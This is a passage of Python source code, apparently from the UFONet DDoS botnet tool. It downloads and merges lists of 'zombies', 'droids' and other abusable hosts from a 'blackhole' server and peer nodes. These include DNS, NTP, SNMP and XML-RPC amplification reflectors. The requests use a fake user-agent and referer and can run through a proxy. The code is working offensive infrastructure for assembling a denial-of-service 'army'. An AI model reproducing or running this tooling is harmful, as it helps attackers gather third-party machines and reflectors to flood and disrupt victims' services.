  2494. wargames_reply = urllib.request.urlopen(wargames, context=self.ctx).read().decode('utf-8')
  2495. links = urllib.request.Request('http://'+self.blackhole+'/ufonet/links.txt', None, headers)
  2496. links_reply = urllib.request.urlopen(links, context=self.ctx).read().decode('utf-8')
  2497. streams = urllib.request.Request('http://'+self.blackhole+'/ufonet/streams.txt', None, headers)
  2498. streams_reply = urllib.request.urlopen(streams, context=self.ctx).read().decode('utf-8')
  2499. globalnet = urllib.request.Request('http://'+self.blackhole+'/ufonet/globalnet.txt', None, headers)
  2500. globalnet_reply = urllib.request.urlopen(globalnet, context=self.ctx).read().decode('utf-8')
  2501. nodes = urllib.request.Request('http://'+self.blackhole+'/ufonet/nodes.txt', None, headers)
  2502. nodes_reply = urllib.request.urlopen(nodes, context=self.ctx).read().decode('utf-8')
  2503. f = open(self.news_file, 'w')
  2504. f.write(news_reply)
  2505. f.close()
  2506. f = open(self.tv_file, 'w')
  2507. f.write(tv_reply)
  2508. f.close()
  2509. f = open(self.missions_file, 'w')
  2510. f.write(missions_reply)
  2511. f.close()
  2512. f = open(self.board_file, 'w')
  2513. f.write(board_reply)
  2514. f.close()
  2515. f = open(self.grid_file, 'w')
  2516. f.write(grid_reply)
  2517. f.close()
  2518. f = open(self.wargames_file, 'w')
  2519. f.write(wargames_reply)
  2520. f.close()
  2521. f = open(self.links_file, 'w')
  2522. f.write(links_reply)
  2523. f.close()
  2524. f = open(self.streams_file, 'w')
  2525. f.write(streams_reply)
  2526. f.close()
  2527. f = open(self.globalnet_file, 'w')
  2528. f.write(globalnet_reply)
  2529. f.close()
  2530. f = open(self.nodes_file, 'w')
  2531. f.write(nodes_reply)
  2532. f.close()
  2533. print('-'*25 + "\n")
  2534. print("[Info] [AI] GUI data correctly updated:\n")
  2535. if news_reply:
  2536. print("[Info] [AI] [News] : OK!")
  2537. if missions_reply:
  2538. print("[Info] [AI] [Missions] : OK!")
  2539. if board_reply:
  2540. print("[Info] [AI] [Board] : OK!")
  2541. if grid_reply:
  2542. print("[Info] [AI] [Grid] : OK!")
  2543. if wargames_reply:
  2544. print("[Info] [AI] [Wargames] : OK!")
  2545. if links_reply:
  2546. print("[Info] [AI] [Links] : OK!")
  2547. if streams_reply:
  2548. print("[Info] [AI] [Streams] : OK!")
  2549. if tv_reply:
  2550. print("[Info] [AI] [TV] : OK!")
  2551. if globalnet_reply:
  2552. print("[Info] [AI] [GlobalNet]: OK!")
  2553. if nodes_reply:
  2554. print("[Info] [AI] [Nodes] : OK!")
  2555. print('-'*25)
  2556. print("\n[AI] "+self.exit_msg+"\n")
  2557. def downloading_list(self):
  2558. # add your mirror to protect/share/distribute... [Zombies]
  2559. try:
  2560. print(("[AI] Trying [Blackhole] [Server]: "+self.blackhole+"\n"))
  2561. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2562. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2563. if self.options.timeout: # set timeout
  2564. try:
  2565. timeout = int(self.options.timeout)
  2566. except:
  2567. timeout = 5
  2568. else:
  2569. timeout = 5
  2570. if timeout < 1:
  2571. timeout = 5
  2572. if self.options.proxy: # set proxy
  2573. self.proxy_transport(self.options.proxy)
  2574. if self.options.forcessl:
  2575. try:
  2576. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
  2577. abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2578. except:
  2579. abductions_reply = ""
  2580. try:
  2581. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
  2582. troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2583. except:
  2584. troops_reply = ""
  2585. try:
  2586. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
  2587. robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2588. except:
  2589. robots_reply = ""
  2590. try:
  2591. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
  2592. drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2593. except:
  2594. drones_reply = ""
  2595. try:
  2596. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
  2597. reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2598. except:
  2599. reflectors_reply = ""
  2600. try:
  2601. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/crystals.txt.gz', None, headers)
  2602. crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2603. except:
  2604. crystals_reply = ""
  2605. try:
  2606. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/warps.txt.gz', None, headers)
  2607. warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2608. except:
  2609. warps_reply = ""
  2610. try:
  2611. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/bosons.txt.gz', None, headers)
  2612. bosons_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2613. except:
  2614. bosons_reply = ""
  2615. else:
  2616. try:
  2617. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
  2618. abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2619. except:
  2620. abductions_reply = ""
  2621. try:
  2622. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
  2623. troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2624. except:
  2625. troops_reply = ""
  2626. try:
  2627. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
  2628. robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2629. except:
  2630. robots_reply = ""
  2631. try:
  2632. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
  2633. drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2634. except:
  2635. drones_reply = ""
  2636. try:
  2637. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
  2638. reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2639. except:
  2640. reflectors_reply = ""
  2641. try:
  2642. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/crystals.txt.gz', None, headers)
  2643. crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2644. except:
  2645. crystals_reply = ""
  2646. try:
  2647. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/warps.txt.gz', None, headers)
  2648. warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2649. except:
  2650. warps_reply = ""
  2651. try:
  2652. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/bosons.txt.gz', None, headers)
  2653. bosons_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2654. except:
  2655. bosons_reply = ""
  2656. if abductions_reply == "" and troops_reply == "" and robots_reply == "" and drones_reply == "" and reflectors_reply == "" and crystals_reply == "" and warps_reply == "" and bosons_reply == "":
  2657. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX FAILED!]")
  2658. print('-'*12 + '\n')
  2659. print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [Server] -> [Exiting!]\n")
  2660. return
  2661. f = open('botnet/abductions.txt.gz', 'wb')
  2662. f.write(abductions_reply)
  2663. f.close()
  2664. f = open('botnet/troops.txt.gz', 'wb')
  2665. f.write(troops_reply)
  2666. f.close()
  2667. f = open('botnet/robots.txt.gz', 'wb')
  2668. f.write(robots_reply)
  2669. f.close()
  2670. f = open('botnet/drones.txt.gz', 'wb')
  2671. f.write(drones_reply)
  2672. f.close()
  2673. f = open('botnet/reflectors.txt.gz', 'wb')
  2674. f.write(reflectors_reply)
  2675. f.close()
  2676. f = open('botnet/crystals.txt.gz', 'wb')
  2677. f.write(crystals_reply)
  2678. f.close()
  2679. f = open('botnet/warps.txt.gz', 'wb')
  2680. f.write(warps_reply)
  2681. f.close()
  2682. f = open('botnet/bosons.txt.gz', 'wb')
  2683. f.write(bosons_reply)
  2684. f.close()
  2685. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX READY!] ;-)")
  2686. except:
  2687. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX FAILED!]")
  2688. print('-'*12 + '\n')
  2689. print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [Server] -> [Exiting!]\n")
  2690. return
  2691. print('-'*12 + '\n')
  2692. f_in_abductions = gzip.open('botnet/abductions.txt.gz', 'rb')
  2693. f_out_abductions = open('botnet/abductions.txt', 'wb')
  2694. f_out_abductions.write(f_in_abductions.read())
  2695. f_in_abductions.close()
  2696. f_out_abductions.close()
  2697. os.remove('botnet/abductions.txt.gz') # remove abductions .gz file
  2698. f_in_troops = gzip.open('botnet/troops.txt.gz', 'rb')
  2699. f_out_troops = open('botnet/troops.txt', 'wb')
  2700. f_out_troops.write(f_in_troops.read())
  2701. f_in_troops.close()
  2702. f_out_troops.close()
  2703. os.remove('botnet/troops.txt.gz') # remove troops .gz file
  2704. f_in_robots = gzip.open('botnet/robots.txt.gz', 'rb')
  2705. f_out_robots = open('botnet/robots.txt', 'wb')
  2706. f_out_robots.write(f_in_robots.read())
  2707. f_in_robots.close()
  2708. f_out_robots.close()
  2709. os.remove('botnet/robots.txt.gz') # remove robots .gz file
  2710. f_in_drones = gzip.open('botnet/drones.txt.gz', 'rb')
  2711. f_out_drones = open('botnet/drones.txt', 'wb')
  2712. f_out_drones.write(f_in_drones.read())
  2713. f_in_drones.close()
  2714. f_out_drones.close()
  2715. os.remove('botnet/drones.txt.gz') # remove drones .gz file
  2716. f_in_reflectors = gzip.open('botnet/reflectors.txt.gz', 'rb')
  2717. f_out_reflectors = open('botnet/reflectors.txt', 'wb')
  2718. f_out_reflectors.write(f_in_reflectors.read())
  2719. f_in_reflectors.close()
  2720. f_out_reflectors.close()
  2721. os.remove('botnet/reflectors.txt.gz') # remove reflectors .gz file
  2722. f_in_crystals = gzip.open('botnet/crystals.txt.gz', 'rb')
  2723. f_out_crystals = open('botnet/crystals.txt', 'wb')
  2724. f_out_crystals.write(f_in_crystals.read())
  2725. f_in_crystals.close()
  2726. f_out_crystals.close()
  2727. os.remove('botnet/crystals.txt.gz') # remove crystals .gz file
  2728. f_in_warps = gzip.open('botnet/warps.txt.gz', 'rb')
  2729. f_out_warps = open('botnet/warps.txt', 'wb')
  2730. f_out_warps.write(f_in_warps.read())
  2731. f_in_warps.close()
  2732. f_out_warps.close()
  2733. os.remove('botnet/warps.txt.gz') # remove warps .gz file
  2734. f_in_bosons = gzip.open('botnet/bosons.txt.gz', 'rb')
  2735. f_out_bosons = open('botnet/bosons.txt', 'wb')
  2736. f_out_bosons.write(f_in_bosons.read())
  2737. f_in_bosons.close()
  2738. f_out_bosons.close()
  2739. os.remove('botnet/bosons.txt.gz') # remove bosons .gz file
  2740. num_abductions = 0
  2741. with open('botnet/abductions.txt') as f:
  2742. for _ in f:
  2743. num_abductions = num_abductions + 1
  2744. print("[Info] Zombies: " + str(num_abductions))
  2745. num_robots = 0
  2746. with open('botnet/robots.txt') as f:
  2747. for _ in f:
  2748. num_robots = num_robots + 1
  2749. print("[Info] Droids : " + str(num_robots))
  2750. num_troops = 0
  2751. with open('botnet/troops.txt') as f:
  2752. for _ in f:
  2753. num_troops = num_troops + 1
  2754. print("[Info] Aliens : " + str(num_troops))
  2755. num_drones = 0
  2756. with open('botnet/drones.txt') as f:
  2757. for _ in f:
  2758. num_drones = num_drones + 1
  2759. print("[Info] UCAVs : " + str(num_drones))
  2760. num_reflectors = 0
  2761. with open('botnet/reflectors.txt') as f:
  2762. for _ in f:
  2763. num_reflectors = num_reflectors + 1
  2764. print("[Info] X-RPCs : " + str(num_reflectors))
  2765. num_crystals = 0
  2766. with open('botnet/crystals.txt') as f:
  2767. for _ in f:
  2768. num_crystals = num_crystals + 1
  2769. print("[Info] DNSs : " + str(num_crystals))
  2770. num_warps = 0
  2771. with open('botnet/warps.txt') as f:
  2772. for _ in f:
  2773. num_warps = num_warps + 1
  2774. print("[Info] NTPs : " + str(num_warps))
  2775. num_bosons = 0
  2776. with open('botnet/bosons.txt') as f:
  2777. for _ in f:
  2778. num_bosons = num_bosons + 1
  2779. print("[Info] SNMPs : " + str(num_bosons))
  2780. total_zombies = num_abductions + num_troops + num_crystals + num_robots + num_drones + num_reflectors + num_warps + num_bosons
  2781. print("\n[Info] [AI] Congratulations!. Total downloaded: " + str(total_zombies))
  2782. print('-'*12)
  2783. if not self.options.forceyes:
  2784. update_reply = input("\n[AI] Do you want to merge ONLY the new 'troops' into your army? (Y/n)")
  2785. print('-'*25)
  2786. else:
  2787. update_reply = "Y"
  2788. if update_reply == "n" or update_reply == "N":
  2789. os.remove('botnet/abductions.txt') # remove abductions file
  2790. os.remove('botnet/troops.txt') # remove troops file
  2791. os.remove('botnet/robots.txt') # remove robots file
  2792. os.remove('botnet/drones.txt') # remove drones file
  2793. os.remove('botnet/reflectors.txt') # remove reflectors file
  2794. os.remove('botnet/crystals.txt') # remove crystals file
  2795. os.remove('botnet/warps.txt') # remove warps file
  2796. os.remove('botnet/bosons.txt') # remove bosons file
  2797. print("\n[Info] [AI] [Control] Temporal list downloaded has been removed! -> [Exiting!]")
  2798. print('-'*25)
  2799. print("\n[AI] "+self.exit_msg+"\n")
  2800. else:
  2801. zombies_ready = []
  2802. f = open('botnet/abductions.txt')
  2803. abductions = f.readlines()
  2804. f.close()
  2805. fz = open(self.zombies_file)
  2806. zombies = fz.readlines()
  2807. fz.close()
  2808. for abduction in abductions:
  2809. abduction = abduction.replace('\n','')
  2810. if abduction not in zombies:
  2811. zombies_ready.append(abduction)
  2812. else:
  2813. pass
  2814. self.update_zombies(zombies_ready)
  2815. os.remove('botnet/abductions.txt') # remove abductions .txt file
  2816. aliens_ready = []
  2817. f = open('botnet/troops.txt')
  2818. troops = f.readlines()
  2819. f.close()
  2820. fz = open(self.aliens_file)
  2821. aliens = fz.readlines()
  2822. fz.close()
  2823. for alien in troops:
  2824. alien = alien.replace('\n','')
  2825. if alien not in aliens:
  2826. aliens_ready.append(alien)
  2827. else:
  2828. pass
  2829. self.update_aliens(aliens_ready)
  2830. os.remove('botnet/troops.txt') # remove troops .txt file
  2831. droids_ready = []
  2832. f = open('botnet/robots.txt')
  2833. robots = f.readlines()
  2834. f.close()
  2835. fz = open(self.droids_file)
  2836. droids = fz.readlines()
  2837. fz.close()
  2838. for droid in robots:
  2839. droid = droid.replace('\n','')
  2840. if droid not in droids:
  2841. droids_ready.append(droid)
  2842. else:
  2843. pass
  2844. self.update_droids(droids_ready)
  2845. os.remove('botnet/robots.txt') # remove robots .txt file
  2846. ucavs_ready = []
  2847. f = open('botnet/drones.txt')
  2848. drones = f.readlines()
  2849. f.close()
  2850. fz = open(self.ucavs_file)
  2851. ucavs = fz.readlines()
  2852. fz.close()
  2853. for drone in drones:
  2854. drone = drone.replace('\n','')
  2855. if drone not in ucavs:
  2856. ucavs_ready.append(drone)
  2857. else:
  2858. pass
  2859. self.update_ucavs(ucavs_ready)
  2860. os.remove('botnet/drones.txt') # remove drones .txt file
  2861. rpcs_ready = []
  2862. f = open('botnet/reflectors.txt')
  2863. reflectors = f.readlines()
  2864. f.close()
  2865. fz = open(self.rpcs_file)
  2866. rpcs = fz.readlines()
  2867. fz.close()
  2868. for reflector in reflectors:
  2869. reflector = reflector.replace('\n','')
  2870. if reflector not in rpcs:
  2871. rpcs_ready.append(reflector)
  2872. else:
  2873. pass
  2874. self.update_rpcs(rpcs_ready)
  2875. os.remove('botnet/reflectors.txt') # remove reflectors .txt file
  2876. dnss_ready = []
  2877. f = open('botnet/crystals.txt')
  2878. crystals = f.readlines()
  2879. f.close()
  2880. fz = open(self.dnss_file)
  2881. dnss = fz.readlines()
  2882. fz.close()
  2883. for crystal in crystals:
  2884. crystal = crystal.replace('\n','')
  2885. if crystal not in dnss:
  2886. dnss_ready.append(crystal)
  2887. else:
  2888. pass
  2889. self.update_dnss(dnss_ready)
  2890. os.remove('botnet/crystals.txt') # remove crystals .txt file
  2891. ntps_ready = []
  2892. f = open('botnet/warps.txt')
  2893. warps = f.readlines()
  2894. f.close()
  2895. fz = open(self.ntps_file)
  2896. ntps = fz.readlines()
  2897. fz.close()
  2898. for warp in warps:
  2899. warp = warp.replace('\n','')
  2900. if warp not in ntps:
  2901. ntps_ready.append(warp)
  2902. else:
  2903. pass
  2904. self.update_ntps(ntps_ready)
  2905. os.remove('botnet/warps.txt') # remove warps .txt file
  2906. snmps_ready = []
  2907. f = open('botnet/bosons.txt')
  2908. bosons = f.readlines()
  2909. f.close()
  2910. fz = open(self.snmps_file)
  2911. snmps = fz.readlines()
  2912. fz.close()
  2913. for boson in bosons:
  2914. boson = boson.replace('\n','')
  2915. if boson not in snmps:
  2916. snmps_ready.append(boson)
  2917. else:
  2918. pass
  2919. self.update_snmps(snmps_ready)
  2920. os.remove('botnet/bosons.txt') # remove bosons .txt file
  2921. print("\n[Info] [AI] Botnet updated! -> ;-)")
  2922. self.update_transferred_stats(self.trans_zombies) # update json file with transferred stats (blackhole)
  2923. if not self.options.forceyes: # ask for update everything
  2924. print('-'*25 + "\n")
  2925. update_reply = input("[AI] You would also like to update other content: [News] [Missions] [Grid] [Board]... (Y/n)")
  2926. else:
  2927. update_reply = "Y"
  2928. if update_reply == "n" or update_reply == "N":
  2929. print("\n[AI] "+self.exit_msg+"\n")
  2930. return
  2931. else:
  2932. try:
  2933. update_gui = self.update_gui_data() # update GUI data
  2934. except:
  2935. print('-'*25 +"\n")
  2936. print("[Error] [AI] Something wrong downloading GUI content! -> [Aborting!]")
  2937. print('-'*25)
  2938. print("\n[AI] "+self.exit_msg+"\n")
  2939. return
  2940. def downloading_nodes_list(self):
  2941. # add your node to protect/share/distribute... [Zombies]
  2942. from io import BytesIO
  2943. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2944. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2945. n = open(self.globalnet_file, 'r')
  2946. nodes = n.readlines()
  2947. n.close()
  2948. if not nodes:
  2949. print("[AI] [Control] Not any [Nodes] present in your [Radar]... [Exiting!]\n")
  2950. return
  2951. globalnet_list = []
  2952. if self.options.timeout: # set timeout
  2953. try:
  2954. timeout = int(self.options.timeout)
  2955. except:
  2956. timeout = 5
  2957. else:
  2958. timeout = 5
  2959. if timeout < 1:
  2960. timeout = 5
  2961. if self.options.proxy: # set proxy
  2962. self.proxy_transport(self.options.proxy)
  2963. globalnet_ip_list = [] # used to check for repetitions
  2964. for m in nodes:
  2965. m = m.replace('\n','')
  2966. if self.globalnet_msg_sep in m:
  2967. m = m.split(self.globalnet_msg_sep)
  2968. enc_globalnet_owner = m[0] # owner
  2969. enc_globalnet_comment = m[1] # comment
  2970. enc_globalnet_warp = m[2] # warp
  2971. enc_globalnet_ip = m[3] # extract IP
  2972. self.decrypt(self.crypto_key, enc_globalnet_ip)
  2973. if self.decryptedtext:
  2974. globalnet_ip = self.decryptedtext
  2975. if globalnet_ip not in globalnet_ip_list:
  2976. globalnet_ip_list.append(globalnet_ip)
  2977. else:
  2978. return
  2979. self.decryptedtext = "" # clean decryptedtext buffer
  2980. print("[AI] Trying [Radar] [Blackhole] [Node]:", globalnet_ip, "\n")
  2981. if self.options.forcessl:
  2982. if self.options.proxy: # set proxy
  2983. self.proxy_transport(options.proxy)
  2984. try:
  2985. req = urllib.request.Request('https://'+globalnet_ip+'/ufonet/abductions.txt.gz', None, headers)
  2986. abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2987. except:
  2988. abductions_reply = ""
  2989. try:
  2990. req = urllib.request.Request('https://'+globalnet_ip+'/ufonet/troops.txt.gz', None, headers)
  2991. troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2992. except:
  2993. troops_reply = ""
  2994. try:
  2995. req = urllib.request.Request('https://'+globalnet_ip+'/ufonet/robots.txt.gz', None, headers)
  2996. robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2997. except:
  2998. robots_reply = ""
  2999. try:
  3000. req = urllib.request.Request('https://'+globalnet_ip+'/ufonet/drones.txt.gz', None, headers)
  3001. drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3002. except:
  3003. drones_reply = ""
  3004. try:
  3005. req = urllib.request.Request('https://'+globalnet_ip+'/ufonet/reflectors.txt.gz', None, headers)
  3006. reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3007. except:
  3008. reflectors_reply = ""
  3009. try:
  3010. req = urllib.request.Request('https://'+globalnet_ip+'/ufonet/crystals.txt.gz', None, headers)
  3011. crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3012. except:
  3013. crystals_reply = ""
  3014. try:
  3015. req = urllib.request.Request('https://'+globalnet_ip+'/ufonet/warps.txt.gz', None, headers)
  3016. warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3017. except:
  3018. warps_reply = ""
  3019. try:
  3020. req = urllib.request.Request('https://'+globalnet_ip+'/ufonet/bosons.txt.gz', None, headers)
  3021. bosons_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3022. except:
  3023. bosons_reply = ""
  3024. else:
  3025. if self.options.proxy: # set proxy
  3026. self.proxy_transport(options.proxy)
  3027. try:
  3028. req = urllib.request.Request('http://'+globalnet_ip+'/ufonet/abductions.txt.gz', None, headers)
  3029. abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3030. except:
  3031. abductions_reply = ""
  3032. try:
  3033. req = urllib.request.Request('http://'+globalnet_ip+'/ufonet/troops.txt.gz', None, headers)
  3034. troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3035. except:
  3036. troops_reply = ""
  3037. try:
  3038. req = urllib.request.Request('http://'+globalnet_ip+'/ufonet/robots.txt.gz', None, headers)
  3039. robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3040. except:
  3041. robots_reply = ""
  3042. try:
  3043. req = urllib.request.Request('http://'+globalnet_ip+'/ufonet/drones.txt.gz', None, headers)
  3044. drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3045. except:
  3046. drones_reply = ""
  3047. try:
  3048. req = urllib.request.Request('http://'+globalnet_ip+'/ufonet/reflectors.txt.gz', None, headers)
  3049. reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3050. except:
  3051. reflectors_reply = ""
  3052. try:
  3053. req = urllib.request.Request('http://'+globalnet_ip+'/ufonet/crystals.txt.gz', None, headers)
  3054. crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3055. except:
  3056. crystals_reply = ""
  3057. try:
  3058. req = urllib.request.Request('http://'+globalnet_ip+'/ufonet/warps.txt.gz', None, headers)
  3059. warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3060. except:
  3061. warps_reply = ""
  3062. try:
  3063. req = urllib.request.Request('http://'+globalnet_ip+'/ufonet/bosons.txt.gz', None, headers)
  3064. bosons_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3065. except:
  3066. bosons_reply = ""
  3067. if abductions_reply == "" and troops_reply == "" and robots_reply == "" and drones_reply == "" and reflectors_reply == "" and crystals_reply == "" and warps_reply == "" and bosons_reply == "":
  3068. print("[AI] [Radar] [Blackhole] [Node] Reply: [VORTEX FAILED!]\n")
  3069. print("[AI] [Control] [Radar] [Blackhole] [Node] Action: [Removing!]")
  3070. print('-'*12 + '\n')
  3071. else:
  3072. print("[AI] [Radar] [Blackhole] [Node] Reply: [VORTEX READY!] ;-)")
  3073. print('-'*12)
  3074. num_zombies = 0
  3075. if abductions_reply:
  3076. f_in_abductions = gzip.open(BytesIO(abductions_reply), 'rb')
  3077. f_out_abductions = open('botnet/abductions.txt', 'wb')
  3078. f_out_abductions.write(f_in_abductions.read())
  3079. f_in_abductions.close()
  3080. f_out_abductions.close()
  3081. with open('botnet/abductions.txt') as f:
  3082. for _ in f:
  3083. num_zombies = num_zombies + 1
  3084. print("\n[Info] [Radar] [Blackhole] Total [Zombies]: "+ str(num_zombies))
  3085. num_robots = 0
  3086. if robots_reply:
  3087. f_in_robots = gzip.open(BytesIO(robots_reply), 'rb')
  3088. f_out_robots = open('botnet/robots.txt', 'wb')
  3089. f_out_robots.write(f_in_robots.read())
  3090. f_in_robots.close()
  3091. f_out_robots.close()
  3092. with open('botnet/robots.txt') as f:
  3093. for _ in f:
  3094. num_robots = num_robots + 1
  3095. print("[Info] [Radar] [Blackhole] Total [Droids] : "+ str(num_robots))
  3096. num_aliens = 0
  3097. if troops_reply:
  3098. f_in_troops = gzip.open(BytesIO(troops_reply), 'rb')
  3099. f_out_troops = open('botnet/troops.txt', 'wb')
  3100. f_out_troops.write(f_in_troops.read())
  3101. f_in_troops.close()
  3102. f_out_troops.close()
  3103. with open('botnet/troops.txt') as f:
  3104. for _ in f:
  3105. num_aliens = num_aliens + 1
  3106. print("[Info] [Radar] [Blackhole] Total [Aliens] : "+ str(num_aliens))
  3107. num_drones = 0
  3108. if drones_reply:
  3109. f_in_drones = gzip.open(BytesIO(drones_reply), 'rb')
  3110. f_out_drones = open('botnet/drones.txt', 'wb')
  3111. f_out_drones.write(f_in_drones.read())
  3112. f_in_drones.close()
  3113. f_out_drones.close()
  3114. with open('botnet/drones.txt') as f:
  3115. for _ in f:
  3116. num_drones = num_drones + 1
  3117. print("[Info] [Radar] [Blackhole] Total [UCAVs] : "+ str(num_drones))
  3118. num_reflectors = 0
  3119. if reflectors_reply:
  3120. f_in_reflectors = gzip.open(BytesIO(reflectors_reply), 'rb')
  3121. f_out_reflectors = open('botnet/reflectors.txt', 'wb')
  3122. f_out_reflectors.write(f_in_reflectors.read())
  3123. f_in_reflectors.close()
  3124. f_out_reflectors.close()
  3125. with open('botnet/reflectors.txt') as f:
  3126. for _ in f:
  3127. num_reflectors = num_reflectors + 1
  3128. print("[Info] [Radar] [Blackhole] Total [X-RPCs] : "+ str(num_reflectors))
  3129. num_crystals = 1 # black magic!
  3130. if crystals_reply:
  3131. f_in_crystals = gzip.open(BytesIO(crystals_reply), 'rb')
  3132. f_out_crystals = open('botnet/crystals.txt', 'wb')
  3133. f_out_crystals.write(f_in_crystals.read())
  3134. f_in_crystals.close()
  3135. f_out_crystals.close()
  3136. with open('botnet/crystals.txt') as f:
  3137. for _ in f:
  3138. num_crystals = num_crystals + 1
  3139. print("[Info] [Radar] [Blackhole] Total [NTPs] : "+ str(num_crystals))
  3140. num_warps = 1 # black magic!
  3141. if warps_reply:
  3142. f_in_warps = gzip.open(BytesIO(warps_reply), 'rb')
  3143. f_out_warps = open('botnet/warps.txt', 'wb')
  3144. f_out_warps.write(f_in_warps.read())
  3145. f_in_warps.close()
  3146. f_out_warps.close()
  3147. with open('botnet/warps.txt') as f:
  3148. for _ in f:
  3149. num_warps = num_warps + 1
  3150. print("[Info] [Radar] [Blackhole] Total [DNSs] : "+ str(num_warps))
  3151. num_bosons = 0
  3152. if bosons_reply:
  3153. f_in_bosons = gzip.open(BytesIO(bosons_reply), 'rb')
  3154. f_out_bosons = open('botnet/bosons.txt', 'wb')
  3155. f_out_bosons.write(f_in_bosons.read())
  3156. f_in_bosons.close()
  3157. f_out_bosons.close()
  3158. with open('botnet/bosons.txt') as f:
  3159. for _ in f:
  3160. num_bosons = num_bosons + 1
  3161. print("[Info] [Radar] [Blackhole] Total [SNMPs] : "+ str(num_bosons))
  3162. print('-'*12 + '\n')
  3163. zombies = self.extract_zombies()
  3164. if not zombies:
  3165. return
  3166. zombies_added = 0
  3167. if os.path.isfile('botnet/abductions.txt'):
  3168. f = open('botnet/abductions.txt')
  3169. abductions = f.readlines()
  3170. abductions = [abduction.strip() for abduction in abductions]
  3171. f.close()
  3172. fz = open(self.zombies_file)
  3173. zombies = fz.readlines()
  3174. zombies = [zombie.strip() for zombie in zombies]
  3175. fz.close()
  3176. az = open('botnet/zombies.txt', 'a')
  3177. for abduction in abductions:
  3178. if abduction not in zombies:
  3179. zombies_added = zombies_added + 1
  3180. az.write(abduction+os.linesep)
  3181. else:
  3182. pass
  3183. az.close()
  3184. os.remove('botnet/abductions.txt') # remove abductions file
  3185. print("[Info] [Radar] [Blackhole] Added [Zombies]: " + str(zombies_added))
  3186. droids = self.extract_droids()
  3187. if not droids:
  3188. return
  3189. droids_added = 0
  3190. if os.path.isfile('botnet/robots.txt'):
  3191. f = open('botnet/robots.txt')
  3192. robots = f.readlines()
  3193. robots = [robot.strip() for robot in robots]
  3194. f.close()
  3195. fz = open(self.droids_file)
  3196. droids = fz.readlines()
  3197. droids = [droid.strip() for droid in droids]
  3198. fz.close()
  3199. ad = open('botnet/droids.txt', 'a')
  3200. for robot in robots:
  3201. if robot not in droids:
  3202. droids_added = droids_added + 1
  3203. ad.write(robot+os.linesep)
  3204. else:
  3205. pass
  3206. ad.close()
  3207. os.remove('botnet/robots.txt') # remove robots file
  3208. print("[Info] [Radar] [Blackhole] Added [Droids] : " + str(droids_added))
  3209. aliens = self.extract_aliens()
  3210. if not aliens:
  3211. return
  3212. aliens_added = 0
  3213. if os.path.isfile('botnet/troops.txt'):
  3214. f = open('botnet/troops.txt')
  3215. troops = f.readlines()
  3216. troops = [troop.strip() for troop in troops]
  3217. f.close()
  3218. fz = open(self.aliens_file)
